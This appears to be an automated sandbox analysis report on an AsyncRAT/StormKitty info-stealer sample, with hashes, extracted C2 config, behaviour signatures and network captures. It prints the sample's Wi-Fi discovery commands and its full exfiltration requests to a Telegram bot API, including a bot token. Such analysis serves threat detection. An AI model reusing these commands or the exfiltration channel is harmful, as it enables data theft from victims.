Analysis
-
max time kernel
145s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
18-12-2024 06:33
Behavioral task
behavioral1
Sample
3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
Resource
win10v2004-20241007-en
General
-
Target
3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe
-
Size
170KB
-
MD5
570ba0188889aed59be8c1269a8efc92
-
SHA1
0b343b4c10c2488dc8e25cef05620f284127aa59
-
SHA256
3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357
-
SHA512
67189208c295a9c3238fa4cb925b09af9615708432741358b056fa7267a285f99a7013ef855e2e72caf25e086f1f17fa69e0223fb011451b36cbe36b2c1818a7
-
SSDEEP
3072:O+STW8djpN6izj8mZw1vFcnxOlzqIPu/i9bHs2ch28kNko6+WpLr:z8XN6W8mm71zXPSi9bMC8Nn
Malware Config
Extracted
asyncrat
Default
127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
StormKitty
StormKitty is an open source info stealer written in C#.
-
StormKitty payload 1 IoCs
resource yara_rule behavioral2/memory/2428-1-0x0000000000250000-0x0000000000280000-memory.dmp family_stormkitty -
Stormkitty family
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 9 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File opened for modification C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File opened for modification C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File opened for modification C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe File created C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 icanhazip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 752 cmd.exe 5024 netsh.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 2428 wrote to memory of 752 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 83 PID 2428 wrote to memory of 752 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 83 PID 2428 wrote to memory of 752 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 83 PID 752 wrote to memory of 3812 752 cmd.exe 85 PID 752 wrote to memory of 3812 752 cmd.exe 85 PID 752 wrote to memory of 3812 752 cmd.exe 85 PID 752 wrote to memory of 5024 752 cmd.exe 86 PID 752 wrote to memory of 5024 752 cmd.exe 86 PID 752 wrote to memory of 5024 752 cmd.exe 86 PID 752 wrote to memory of 4600 752 cmd.exe 87 PID 752 wrote to memory of 4600 752 cmd.exe 87 PID 752 wrote to memory of 4600 752 cmd.exe 87 PID 2428 wrote to memory of 2740 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 90 PID 2428 wrote to memory of 2740 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 90 PID 2428 wrote to memory of 2740 2428 3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe 90 PID 2740 wrote to memory of 1952 2740 cmd.exe 92 PID 2740 wrote to memory of 1952 2740 cmd.exe 92 PID 2740 wrote to memory of 1952 2740 cmd.exe 92 PID 2740 wrote to memory of 4164 2740 cmd.exe 93 PID 2740 wrote to memory of 4164 2740 cmd.exe 93 PID 2740 wrote to memory of 4164 2740 cmd.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe"C:\Users\Admin\AppData\Local\Temp\3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe"1⤵
- Drops desktop.ini file(s)
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\SysWOW64\chcp.comchcp 650013⤵
- System Location Discovery: System Language Discovery
PID:3812
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show profile3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5024
-
-
C:\Windows\SysWOW64\findstr.exefindstr All3⤵
- System Location Discovery: System Language Discovery
PID:4600
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\SysWOW64\chcp.comchcp 650013⤵
- System Location Discovery: System Language Discovery
PID:1952
-
-
C:\Windows\SysWOW64\netsh.exenetsh wlan show networks mode=bssid3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4164
-
-
Network
-
Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
-
Remote address:8.8.8.8:53Request83.210.23.2.in-addr.arpaIN PTRResponse83.210.23.2.in-addr.arpaIN PTRa2-23-210-83deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request58.55.71.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request140.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requesticanhazip.comIN AResponseicanhazip.comIN A104.16.185.241icanhazip.comIN A104.16.184.241
-
Remote address:104.16.185.241:80RequestGET / HTTP/1.1
Host: icanhazip.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 15
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Set-Cookie: __cf_bm=pQFrBEnomOr_CPgX9ig5FZku0w1WKS9trnvbbQlYz84-1734503623-1.0.1.1-vNXw..4lNgSAT07eNxok9FGUO.3_hdS3BfRwIMEDH0XMgO0l3u6eGRo3kXjyRkXYvNXzcIX1pLfdVGSX1eRYug; path=/; expires=Wed, 18-Dec-24 07:03:43 GMT; domain=.icanhazip.com; HttpOnly
Server: cloudflare
CF-RAY: 8f3d1f7da897642a-LHR
alt-svc: h3=":443"; ma=86400
-
Remote address:8.8.8.8:53Requestapi.mylnikov.orgIN AResponseapi.mylnikov.orgIN A172.67.196.114api.mylnikov.orgIN A104.21.44.66
-
GEThttps://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:103e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exeRemote address:172.67.196.114:443RequestGET /geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10 HTTP/1.1
Host: api.mylnikov.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: application/json; charset=utf8
Content-Length: 88
Connection: keep-alive
Access-Control-Allow-Origin: *
Cache-Control: max-age=2678400
CF-Cache-Status: MISS
Last-Modified: Wed, 18 Dec 2024 06:33:43 GMT
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vN8q7pIJywUYVCR4fvLIpA3z3%2Br43Z5q7cwFJX%2FQZ%2FoUOM%2FXzou5e5brjOPm%2BkjBD7iuBJxf7Q44DTcmmgXpnYsOpjzcooAgrs6TSUXWyql3%2F%2BjpAH%2BNLJVm%2Fe4VGwOaEJya"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=0; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 8f3d1f7f29dd6549-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=28368&min_rtt=26362&rtt_var=9286&sent=6&recv=6&lost=0&retrans=0&sent_bytes=2990&recv_bytes=412&delivery_rate=132046&cwnd=253&unsent_bytes=0&cid=6246c5f7e2fc2a33&ts=294&x=0"
-
Remote address:8.8.8.8:53Request241.185.16.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestapi.telegram.orgIN AResponseapi.telegram.orgIN A149.154.167.220
-
GEThttps://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exeRemote address:149.154.167.220:443RequestGET /bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1
Host: api.telegram.org
Connection: Keep-Alive
ResponseHTTP/1.1 401 Unauthorized
Date: Wed, 18 Dec 2024 06:33:45 GMT
Content-Type: application/json
Content-Length: 58
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
GEThttps://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exeRemote address:149.154.167.220:443RequestGET /bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1
Host: api.telegram.org
ResponseHTTP/1.1 401 Unauthorized
Date: Wed, 18 Dec 2024 06:33:45 GMT
Content-Type: application/json
Content-Length: 58
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
-
Remote address:8.8.8.8:53Request114.196.67.172.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request220.167.154.149.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request154.239.44.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request197.87.175.4.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request217.135.221.88.in-addr.arpaIN PTRResponse217.135.221.88.in-addr.arpaIN PTRa88-221-135-217deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request19.229.111.52.in-addr.arpaIN PTRResponse
-
104.16.185.241:80http://icanhazip.com/http3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe339 B 709 B 6 4
HTTP Request
GET http://icanhazip.com/HTTP Response
200 -
172.67.196.114:443https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10tls, http3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe814 B 4.5kB 9 9
HTTP Request
GET https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=f2:11:27:c4:d9:10HTTP Response
200 -
149.154.167.220:443https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...tls, http3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe2.8kB 7.3kB 15 15
HTTP Request
GET https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202024-12-18%206:33:30%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20HGNBWBGW%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20Unknown%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.1.58%0AExternal%20IP:%20181.215.176.83%0ABSSID:%20f2:11:27:c4:d9:10%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=TrueHTTP Response
401HTTP Request
GET https://api.telegram.org/bot7932706573:AAGbXOWsS-B1fEkJ_fBIU-9w70g3AUcYNr0/sendMessage?chat_id=1562128485&text=%F0%9F%93%81%20Uploading%20Log%20Folders...HTTP Response
401 -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
83.210.23.2.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
58.55.71.13.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
140.32.126.40.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
59 B 91 B 1 1
DNS Request
icanhazip.com
DNS Response
104.16.185.241104.16.184.241
-
8.8.8.8:53api.mylnikov.orgdns3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe62 B 94 B 1 1
DNS Request
api.mylnikov.org
DNS Response
172.67.196.114104.21.44.66
-
73 B 135 B 1 1
DNS Request
241.185.16.104.in-addr.arpa
-
8.8.8.8:53api.telegram.orgdns3e2cc3b5ac73c27d00ab9cccabef7bcf9607390f1c259c169df02c095af99357.exe62 B 78 B 1 1
DNS Request
api.telegram.org
DNS Response
149.154.167.220
-
73 B 135 B 1 1
DNS Request
114.196.67.172.in-addr.arpa
-
74 B 167 B 1 1
DNS Request
220.167.154.149.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
154.239.44.20.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
197.87.175.4.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
-
73 B 139 B 1 1
DNS Request
217.135.221.88.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
19.229.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\Browsers\Firefox\Bookmarks.txt
Filesize105B
MD52e9d094dda5cdc3ce6519f75943a4ff4
SHA15d989b4ac8b699781681fe75ed9ef98191a5096c
SHA256c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142
SHA512d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7
-
C:\Users\Admin\AppData\Local\dfb609e2a7ae0b0fab490ff79f15c6f7\Admin@HGNBWBGW_en-US\System\Process.txt
Filesize4KB
MD565fe90c28511bd1152ace6261adc7c31
SHA188f023d4fa876e854602349cf51785494ab691a3
SHA256fa803e97adb7a4c6f9c5c0bc2e435a84955240dca23823d2dd514ad382ca00bc
SHA5122418c07fc256f5d4a3378024f1e56c2dd6e46ab2c08c3adf1fd3444244141f57669ba574c4630c1b70d0cbaef80faaffd67c4ced06e46fbc856ff279f2727540
-
Filesize
1B
MD5cfcd208495d565ef66e7dff9f98764da
SHA1b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
SHA2565feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
SHA51231bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99